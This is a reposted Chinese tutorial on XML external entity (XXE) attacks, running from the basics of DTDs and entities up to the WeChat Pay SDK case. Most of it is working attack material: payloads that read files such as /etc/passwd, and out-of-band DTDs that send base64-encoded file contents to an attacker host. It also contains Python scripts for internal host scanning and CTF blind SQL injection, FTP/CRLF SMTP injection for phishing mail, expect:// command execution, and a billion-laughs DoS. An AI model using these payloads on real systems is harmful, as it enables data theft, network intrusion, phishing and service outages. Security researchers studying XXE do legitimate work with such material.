轉自:https://xz.aliyun.com/t/3357
一、XXE 是什么
介紹 XXE 之前,我先來說一下普通的 XML 注入,這個的利用面比較狹窄,如果有的話應該也是邏輯漏洞
如圖所示:
既然能插入 XML 代碼,那我們肯定不能善罷甘休,我們需要更多,於是出現了 XXE
XXE(XML External Entity Injection) 全稱為 XML 外部實體注入,從名字就能看出來,這是一個注入漏洞,注入的是什么?XML外部實體。(看到這里肯定有人要說:你這不是在廢話),固然,其實我這里廢話只是想強調我們的利用點是 外部實體 ,也是提醒讀者將注意力集中於外部實體中,而不要被 XML 中其他的一些名字相似的東西擾亂了思維(盯好外部實體就行了),如果能注入 外部實體並且成功解析的話,這就會大大拓寬我們 XML 注入的攻擊面(這可能就是為什么單獨說 而沒有說 XML 注入的原因吧,或許普通的 XML 注入真的太雞肋了,現實中幾乎用不到)
二、簡單介紹一下背景知識:
XML是一種非常流行的標記語言,在1990年代后期首次標准化,並被無數的軟件項目所采用。它用於配置文件,文檔格式(如OOXML,ODF,PDF,RSS,...),圖像格式(SVG,EXIF標題)和網絡協議(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,...),他應用的如此的普遍以至於他出現的任何問題都會帶來災難性的結果。
在解析外部實體的過程中,XML解析器可以根據URL中指定的方案(協議)來查詢各種網絡協議和服務(DNS,FTP,HTTP,SMB等)。 外部實體對於在文檔中創建動態引用非常有用,這樣對引用資源所做的任何更改都會在文檔中自動更新。 但是,在處理外部實體時,可以針對應用程序啟動許多攻擊。 這些攻擊包括泄露本地系統文件,這些文件可能包含密碼和私人用戶數據等敏感數據,或利用各種方案的網絡訪問功能來操縱內部應用程序。 通過將這些攻擊與其他實現缺陷相結合,這些攻擊的范圍可以擴展到客戶端內存損壞,任意代碼執行,甚至服務中斷,具體取決於這些攻擊的上下文。
三、基礎知識
XML 文檔有自己的一個格式規范,這個格式規范是由一個叫做 DTD(document type definition) 的東西控制的,他就是長得下面這個樣子
示例代碼:
<?xml version="1.0"?>//這一行是 XML 文檔定義
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
上面這個 DTD 就定義了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到時候必須像下面這么寫
示例代碼:
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
其實除了在 DTD 中定義元素(其實就是對應 XML 中的標簽)以外,我們還能在 DTD 中定義實體(對應XML 標簽中的內容),畢竟 ML 中除了能標簽以外,還需要有些內容是固定的
示例代碼:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
這里 定義元素為 ANY 說明接受任何元素,但是定義了一個 xml 的實體(這是我們在這篇文章中第一次看到實體的真面目,實體其實可以看成一個變量,到時候我們可以在 XML 中通過 & 符號進行引用),那么 XML 就可以寫成這樣
示例代碼:
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
我們使用 &xxe 對 上面定義的 xxe 實體進行了引用,到時候輸出的時候 &xxe 就會被 "test" 替換。
重點來了:
重點一:
實體分為兩種,內部實體和外部實體,上面我們舉的例子就是內部實體,但是實體實際上可以從外部的 dtd 文件中引用,我們看下面的代碼:
示例代碼:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
這樣對引用資源所做的任何更改都會在文檔中自動更新,非常方便(方便永遠是安全的敵人)
當然,還有一種引用方式是使用 引用公用 DTD 的方法,語法如下:
<!DOCTYPE 根元素名稱 PUBLIC “DTD標識名” “公用DTD的URI”>
這個在我們的攻擊中也可以起到和 SYSTEM 一樣的作用
重點二:
我們上面已經將實體分成了兩個派別(內部實體和外部外部),但是實際上從另一個角度看,實體也可以分成兩個派別(通用實體和參數實體),別暈。。
1.通用實體
用 &實體名; 引用的實體,他在DTD 中定義,在 XML 文檔中引用
示例代碼:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
2.參數實體:
(1)使用 % 實體名
(這里面空格不能少) 在 DTD 中定義,並且只能在 DTD 中使用 %實體名;
引用
(2)只有在 DTD 文件中,參數實體的聲明才能引用其他實體
(3)和通用實體一樣,參數實體也可以外部引用
示例代碼:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
拋轉:
參數實體在我們 Blind XXE 中起到了至關重要的作用
四、我們能做什么
上一節瘋狂暗示了 外部實體 ,那他究竟能干什么?
實際上,當你看到下面這段代碼的時候,有一點安全意識的小伙伴應該隱隱約約能覺察出什么
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
既然能讀 dtd 那我們是不是能將路徑換一換,換成敏感文件的路徑,然后把敏感文件讀出來?
實驗一:有回顯讀本地敏感文件(Normal XXE)
這個實驗的攻擊場景模擬的是在服務能接收並解析 XML 格式的輸入並且有回顯的時候,我們就能輸入我們自定義的 XML 代碼,通過引用外部實體的方法,引用服務器上面的文件
本地服務器上放上解析 XML 的 php 代碼:
示例代碼:
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
結果如下圖:
但是因為這個文件沒有什么特殊符號,於是我們讀取的時候可以說是相當的順利,那么我么要是換成下面這個文件呢?
如圖所示:
我們試一下:
結果如下圖:
可以看到,不但沒有讀到我們想要的文件,而且還給我們報了一堆錯,怎么辦?這個時候就要祭出我們的另一個神器了------CDATA ,簡單的介紹如下(引用自我的一片介紹 XML 的博客):
有些內容可能不想讓解析引擎解析執行,而是當做原始的內容處理,用於把整段數據解析為純字符數據而不是標記的情況包含大量的 <> & 或者
" 字符,CDATA節中的所有字符都會被當做元素字符數據的常量部分,而不是 xml標記<![CDATA[
XXXXXXXXXXXXXXXXX
]]>
可以輸入任意字符除了 ]]> 不能嵌套
用處是萬一某個標簽內容包含特殊字符或者不確定字符,我們可以用 CDATA包起來
那我們把我們的讀出來的數據放在 CDATA 中輸出就能進行繞過,但是怎么做到,我們來簡答的分析一下:
首先,找到問題出現的地方,問題出現在
...
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
引用並不接受可能會引起 xml 格式混亂的字符(在XML中,有時實體內包含了些字符,如&,<,>,",'等。這些均需要對其進行轉義,否則會對XML解釋器生成錯誤),我們想在引用的兩邊加上 "”,但是好像沒有任何語法告訴我們字符串能拼接的,於是我想到了能不能使用多個實體連續引用的方法
結果如下圖:
注意,這里面的三個實體都是字符串形式,連在一起居然報錯了,這說明我們不能在 xml 中進行拼接,而是需要在拼接以后再在 xml 中調用,那么要想在 DTD
中拼接,我們知道我們只有一種選擇,就是使用 參數實體
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
結果如下圖:
感興趣的童鞋可以分析一下整個調用過程,因為我在下面的例子中有分析一個類似的例子,於是出於篇幅考慮我這里就不分析了。
注意:
這里提一個點,如果是在 java 中 還有一個協議能代替 file 協議 ,那就是 netdoc ,使用方法我會在后面的分析 微信的 XXE的時候順帶演示
新的問題出現
但是,你想想也知道,本身人家服務器上的 XML 就不是輸出用的,一般都是用於配置或者在某些極端情況下利用其他漏洞能恰好實例化解析 XML 的類,因此我們想要現實中利用這個漏洞就必須找到一個不依靠其回顯的方法------外帶
新的解決方法
想要外帶就必須能發起請求,那么什么地方能發起請求呢? 很明顯就是我們的外部實體定義的時候,其實光發起請求還不行,我們還得能把我們的數據傳出去,而我們的數據本身也是一個對外的請求,也就是說,我們需要在請求中引用另一次請求的結果,分析下來只有我們的參數實體能做到了(並且根據規范,我們必須在一個 DTD 文件中才能完成“請求中引用另一次請求的結果”的要求)
實驗二:無回顯讀取本地敏感文件(Blind OOB XXE)
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
2019.5.8 更新
我發現上面這段代碼由於解析的問題將 send 前面的 HTML 實體轉化成了 % ,雖然我在下面做出了一些解釋,但是因為存在復制粘貼代碼的行為,因此我決定還是在這里用圖片的形式再次展示一下我的代碼
payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
結果如下:
我們清楚第看到服務器端接收到了我們用 base64 編碼后的敏感文件信息(編碼也是為了不破壞原本的XML語法),不編碼會報錯。
整個調用過程:
我們從 payload 中能看到 連續調用了三個參數實體 %remote;%int;%send;,這就是我們的利用順序,%remote 先調用,調用后請求遠程服務器上的 test.dtd ,有點類似於將 test.dtd 包含進來,然后 %int 調用 test.dtd 中的 %file, %file 就會去獲取服務器上面的敏感文件,然后將 %file 的結果填入到 %send 以后(因為實體的值中不能有 %, 所以將其轉成html實體編碼 %
),我們再調用 %send; 把我們的讀取到的數據發送到我們的遠程 vps 上,這樣就實現了外帶數據的效果,完美的解決了 XXE 無回顯的問題。
新的思考:
我們剛剛都只是做了一件事,那就是通過 file 協議讀取本地文件,或者是通過 http 協議發出請求,熟悉 SSRF 的童鞋應該很快反應過來,這其實非常類似於 SSRF ,因為他們都能從服務器向另一台服務器發起請求,那么我們如果將遠程服務器的地址換成某個內網的地址,(比如 192.168.0.10:8080)是不是也能實現 SSRF 同樣的效果呢?沒錯,XXE 其實也是一種 SSRF 的攻擊手法,因為 SSRF 其實只是一種攻擊模式,利用這種攻擊模式我們能使用很多的協議以及漏洞進行攻擊。
新的利用:
所以要想更進一步的利用我們不能將眼光局限於 file 協議,我們必須清楚地知道在何種平台,我們能用何種協議
如圖所示:
PHP在安裝擴展以后還能支持的協議:
如圖所示:
注意:
1.其中從2012年9月開始,Oracle JDK版本中刪除了對gopher方案的支持,后來又支持的版本是 Oracle JDK 1.7
update 7 和 Oracle JDK 1.6 update 35
2.libxml 是 PHP 的 xml 支持
實驗三:HTTP 內網主機探測
我們以存在 XXE 漏洞的服務器為我們探測內網的支點。要進行內網探測我們還需要做一些准備工作,我們需要先利用 file 協議讀取我們作為支點服務器的網絡配置文件,看一下有沒有內網,以及網段大概是什么樣子(我以linux 為例),我們可以嘗試讀取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件以后我們就有了大致的探測方向了
下面是一個探測腳本的實例:
import requests
import base64
#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>
def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)
def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue
返回結果:
實驗四:HTTP 內網主機端口掃描
找到了內網的一台主機,想要知道攻擊點在哪,我們還需要進行端口掃描,端口掃描的腳本主機探測幾乎沒有什么變化,只要把ip 地址固定,然后循環遍歷端口就行了,當然一般我們端口是通過響應的時間的長短判斷該該端口是否開放的,讀者可以自行修改一下,當然除了這種方法,我們還能結合 burpsuite 進行端口探測
比如我們傳入:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
返回結果:
javax.xml.bind.UnmarshalException
- with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document
Internal Exception: ████████████████████████: Connection refused
這樣就完成了一次端口探測。如果想更多,我們可以將請求的端口作為 參數 然后利用 bp 的 intruder 來幫我們探測
如下圖所示:
至此,我們已經有能力對整個網段進行了一個全面的探測,並能得到內網服務器的一些信息了,如果內網的服務器有漏洞,並且恰好利用方式在服務器支持的協議的范圍內的話,我們就能直接利用 XXE 打擊內網服務器甚至能直接 getshell(比如有些 內網的未授權 redis 或者有些通過 http get 請求就能直接getshell 的 比如 strus2)
實驗五:內網盲注(CTF)
2018 強網杯 有一道題就是利用 XXE 漏洞進行內網的 SQL 盲注的,大致的思路如下:
首先在外網的一台ip地址為 39.107.33.75:33899 的評論框處測試發現 XXE 漏洞,我們輸入 xml 以及 dtd 會出現報錯
如圖所示:
既然如此,那么我們是不是能讀取該服務器上面的文件,我們先讀配置文件(這個點是 Blind XXE ,必須使用參數實體,外部引用 DTD )
/var/www/52dandan.cc/public_html/config.php
拿到第一部分 flag
<?php
define(BASEDIR, "/var/www/52dandan.club/");
define(FLAG_SIG, 1);
define(SECRETFILE,'/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431');
....
?>
注意:
這里有一個小技巧,當我們使用 libxml 讀取文件內容的時候,文件不能過大,如果太大就會報錯,於是我們就需要使用 php
過濾器的一個壓縮的方法壓縮:echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd");
解壓:echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1");
然后我們考慮內網有沒有東西,我們讀取
/proc/net/arp
/etc/host
找到內網的另一台服務器的 ip 地址 192.168.223.18
拿到這個 ip 我們考慮就要使用 XXE 進行端口掃描了,然后我們發現開放了 80 端口,然后我們再進行目錄掃描,找到一個 test.php ,根據提示,這個頁面的 shop 參數存在一個注入,但是因為本身這個就是一個 Blind XXE ,我們的對服務器的請求都是在我們的遠程 DTD 中包含的,現在我們需要改變我們的請求,那我們就要在每一次修改請求的時候修改我們遠程服務器的 DTD 文件,於是我們的腳本就要掛在我們的 VPS 上,一邊邊修改 DTD 一邊向存在 XXE 漏洞的主機發送請求,腳本就像下面這個樣子
示例代碼:
import requests
url = 'http://39.107.33.75:33899/common.php'
s = requests.Session()
result = ''
data = {
"name":"evil_man",
"email":"testabcdefg@gmail.com",
"comment":"""<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://evil_host/evil.dtd">
%dtd;]>
"""
}
for i in range(0,28):
for j in range(48,123):
f = open('./evil.dtd','w')
payload2 = """<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.18/test.php?shop=3'-(case%a0when((select%a0group_concat(total)%a0from%a0albert_shop)like%a0binary('{}'))then(0)else(1)end)-'1">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://evil_host/?result=%file;'>">
%all;
%send;""".format('_'*i+chr(j)+'_'*(27-i))
f.write(payload2)
f.close()
print 'test {}'.format(chr(j))
r = s.post(url,data=data)
if "Oti3a3LeLPdkPkqKF84xs=" in r.content and chr(j)!='_':
result += chr(j)
print chr(j)
break
print result
這道題難度比加大,做起來也非常的耗時,所有的東西都要靠腳本去猜,因此當時是0解
實驗六:文件上傳
我們之前說的好像都是 php 相關,但是實際上現實中很多都是 java 的框架出現的 XXE 漏洞,通過閱讀文檔,我發現 Java 中有一個比較神奇的協議 jar:// , php 中的 phar:// 似乎就是為了實現 jar:// 的類似的功能設計出來的。
jar:// 協議的格式:
jar:{url}!{path}
實例:
jar:http://host/application.jar!/file/within/the/zip
這個 ! 后面就是其需要從中解壓出的文件
jar 能從遠程獲取 jar 文件,然后將其中的內容進行解壓,等等,這個功能似乎比 phar 強大啊,phar:// 是沒法遠程加載文件的(因此 phar:// 一般用於繞過文件上傳,在一些2016年的HCTF中考察過這個知識點,我也曾在校賽中出過類似的題目,奧,2018年的 blackhat 講述的 phar:// 的反序列化很有趣,Orange 曾在2017年的 hitcon 中出過這道題)
jar 協議處理文件的過程:
(1) 下載 jar/zip 文件到臨時文件中
(2) 提取出我們指定的文件
(3) 刪除臨時文件
那么我們怎么找到我們下載的臨時文件呢?
因為在 java 中 file:/// 協議可以起到列目錄的作用,所以我們能用 file:/// 協議配合 jar:// 協議使用
下面是我的一些測試過程:
我首先在本地模擬一個存在 XXE 的程序,網上找的能直接解析 XML 文件的 java 源碼
示例代碼:
xml_test.java
package xml_test;
import java.io.File;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Attr;
import org.w3c.dom.Comment;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
/**
* 使用遞歸解析給定的任意一個xml文檔並且將其內容輸出到命令行上
* @author zhanglong
*
*/
public class xml_test
{
public static void main(String[] args) throws Exception
{
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new File("student.xml"));
//獲得根元素結點
Element root = doc.getDocumentElement();
parseElement(root);
}
private static void parseElement(Element element)
{
String tagName = element.getNodeName();
NodeList children = element.getChildNodes();
System.out.print("<" + tagName);
//element元素的所有屬性所構成的NamedNodeMap對象,需要對其進行判斷
NamedNodeMap map = element.getAttributes();
//如果該元素存在屬性
if(null != map)
{
for(int i = 0; i < map.getLength(); i++)
{
//獲得該元素的每一個屬性
Attr attr = (Attr)map.item(i);
String attrName = attr.getName();
String attrValue = attr.getValue();
System.out.print(" " + attrName + "=\"" + attrValue + "\"");
}
}
System.out.print(">");
for(int i = 0; i < children.getLength(); i++)
{
Node node = children.item(i);
//獲得結點的類型
short nodeType = node.getNodeType();
if(nodeType == Node.ELEMENT_NODE)
{
//是元素,繼續遞歸
parseElement((Element)node);
}
else if(nodeType == Node.TEXT_NODE)
{
//遞歸出口
System.out.print(node.getNodeValue());
}
else if(nodeType == Node.COMMENT_NODE)
{
System.out.print("<!--");
Comment comment = (Comment)node;
//注釋內容
String data = comment.getData();
System.out.print(data);
System.out.print("-->");
}
}
System.out.print("</" + tagName + ">");
}
}
有了這個源碼以后,我們需要在本地建立一個 xml 文件 ,我取名為 student.xml
student.xml
<!DOCTYPE convert [
<!ENTITY remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php">
]>
<convert>&remote;</convert>
目錄結構如下圖:
可以清楚地看到我的請求是向自己本地的 9999 端口發出的,那么9999 端口上有什么服務呢?實際上是我自己用 python 寫的一個 TCP 服務器
示例代碼:
sever.py
import sys
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc
listen_host = 'localhost'
listen_port = 9999
jar_file = sys.argv[1]
class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:',self.client_address)
while b'\r\n\r\n' not in http_req:
try:
http_req += self.request.recv(4096)
print('Client req:\r\n',http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''')
self.request.sendall(headers.encode('ascii'))
self.request.sendall(contents[:-1])
time.sleep(30)
print(30)
self.request.sendall(contents[-1:])
except Exception as e:
print ("get error at:"+str(e))
if __name__ == '__main__':
jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()
這個服務器的目的就是接受客戶端的請求,然后向客戶端發送一個我們運行時就傳入的參數指定的文件,但是還沒完,實際上我在這里加了一個 sleep(30),這個的目的我后面再說
既然是文件上傳,那我們又要回到 jar 協議解析文件的過程中了
jar 協議處理文件的過程:
(1) 下載 jar/zip 文件到臨時文件中
(2) 提取出我們指定的文件
(3) 刪除臨時文件
那我們怎么找到這個臨時的文件夾呢?不用想,肯定是通過報錯的形式展現,如果我們請求的
jar:http://localhost:9999/jar.zip!/1.php
1.php 在這個 jar.zip 中沒有的話,java 解析器就會報錯,說在這個臨時文件中找不到這個文件
如下圖:
既然找到了臨時文件的路徑,我們就要考慮怎么使用這個文件了(或者說怎么讓這個文件能更長時間的停留在我們的系統之中,我想到的方式就是sleep())但是還有一個問題,因為我們要利用的時候肯定是在文件沒有完全傳輸成果的時候,因此為了文件的完整性,我考慮在傳輸前就使用 hex 編輯器在文件末尾添加垃圾字符,這樣就能完美的解決這個問題
下面是我的實驗錄屏:
實驗就到這一步了,怎么利用就看各位大佬的了(壞笑)
我后來在LCTF 2018 出了這樣一個 CTF 題目,詳細的 wp 可以看我的[這篇文章](http://www.k0rz3n.com/2018/11/19/LCTF 2018 T4lk 1s ch34p,sh0w m3 the sh31l 詳細分析/)
實驗七:釣魚:
如果內網有一台易受攻擊的 SMTP 服務器,我們就能利用 ftp:// 協議結合 CRLF 注入向其發送任意命令,也就是可以指定其發送任意郵件給任意人,這樣就偽造了信息源,造成釣魚(一下實例來自fb 的一篇文章 )
Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此,我們可以指定用戶名和密碼,例如ftp://user:password@host:port/test.txt,FTP客戶端將在連接中發送相應的USER命令。
但是如果我們將%0D%0A (CRLF)添加到URL的user部分的任意位置,我們就可以終止USER命令並向FTP會話中注入一個新的命令,即允許我們向25端口發送任意的SMTP命令:
示例代碼:
ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25
當FTP客戶端使用此URL連接時,以下命令將會被發送給VULNERABLESYSTEM.com上的郵件服務器:
示例代碼:
ftp://a
EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25
這意味着攻擊者可以從從受信任的來源發送釣魚郵件(例如:帳戶重置鏈接)並繞過垃圾郵件過濾器的檢測。除了鏈接之外,甚至我們也可以發送附件。
實驗八:其他:
除了上面實驗中的一些常見利用以外還有一些不是很常用或者比較雞肋的利用方式,為了完整性我在這一節簡單的說一下:
1.PHP expect RCE
由於 PHP 的 expect 並不是默認安裝擴展,如果安裝了這個expect 擴展我們就能直接利用 XXE 進行 RCE
示例代碼:
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>
2. 利用 XXE 進行 DOS 攻擊
示例代碼:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
五、真實的 XXE 出現在哪
我們剛剛說了那么多,都是只是我們對這個漏洞的理解,但是好像還沒說這種漏洞出現在什么地方
如今的 web 時代,是一個前后端分離的時代,有人說 MVC 就是前后端分離,但我覺得這種分離的並不徹底,后端還是要嘗試去調用渲染類去控制前端的渲染,我所說的前后端分離是,后端 api 只負責接受約定好要傳入的數據,然后經過一系列的黑盒運算,將得到結果以 json 格式返回給前端,前端只負責坐享其成,拿到數據json.decode 就行了(這里的后端可以是后台代碼,也可以是外部的api 接口,這里的前端可以是傳統意義的前端,也可以是后台代碼)
那么問題經常就出現在 api 接口能解析客戶端傳過來的 xml 代碼,並且直接外部實體的引用,比如下面這個
實例一:模擬情況
示例代碼:
POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1
<?xml version="1.0"?>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>XML is the best!</description>
</core>
</catalog>
我們發出 帶有 xml 的 POST 請求以后,述代碼將交由服務器的XML處理器解析。代碼被解釋並返回:{“Request Successful”: “Added!”}
但是如果我們傳入一個惡意的代碼
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
如果沒有做好“安全措施” 就會出現解析惡意代碼的情況,就會有下面的返回
{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...
實例二:微信支付的 XXE
前一陣子非常火的微信支付的 XXE 漏洞當然不得不提,
漏洞描述:
微信支付提供了一個 api 接口,供商家接收異步支付結果,微信支付所用的java sdk在處理結果時可能觸發一個XXE漏洞,攻擊者可以向這個接口發送構造惡意payloads,獲取商家服務器上的任何信息,一旦攻擊者獲得了敏感的數據 (md5-key and merchant-Id etc.),他可能通過發送偽造的信息不用花錢就購買商家任意物品
我下載了 java 版本的 sdk 進行分析,這個 sdk 提供了一個 WXPayUtil 工具類,該類中實現了xmltoMap和maptoXml這兩個方法,而這次的微信支付的xxe漏洞爆發點就在xmltoMap方法中
如圖所示:
問題就出現在我橫線划出來的那部分,也就是簡化為下面的代碼:
public static Map<String, String> xmlToMap(String strXML) throws Exception {
try {
Map<String, String> data = new HashMap<String, String>();
DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);
...
我們可以看到 當構建了 documentBuilder 以后就直接對傳進來的 strXML 解析了,而不巧的是 strXML 是一處攻擊者可控的參數,於是就出現了 XXE 漏洞,下面是我實驗的步驟
首先我在 com 包下又新建了一個包,來寫我們的測試代碼,測試代碼我命名為 test001.java
如圖所示:
test001.java
package com.test.test001;
import java.util.Map;
import static com.github.wxpay.sdk.WXPayUtil.xmlToMap;
public class test001 {
public static void main(String args[]) throws Exception {
String xmlStr ="<?xml version='1.0' encoding='utf-8'?>\r\n" +
"<!DOCTYPE XDSEC [\r\n" +
"<!ENTITY xxe SYSTEM 'file:///d:/1.txt'>]>\r\n" +
"<XDSEC>\r\n"+
"<XXE>&xxe;</XXE>\r\n" +
"</XDSEC>";
try{
Map<String,String> test = xmlToMap(xmlStr);
System.out.println(test);
}catch (Exception e){
e.printStackTrace();
}
}
}
我希望它能讀取我 D 盤下面的 1.txt 文件
運行后成功讀取
如圖所示:
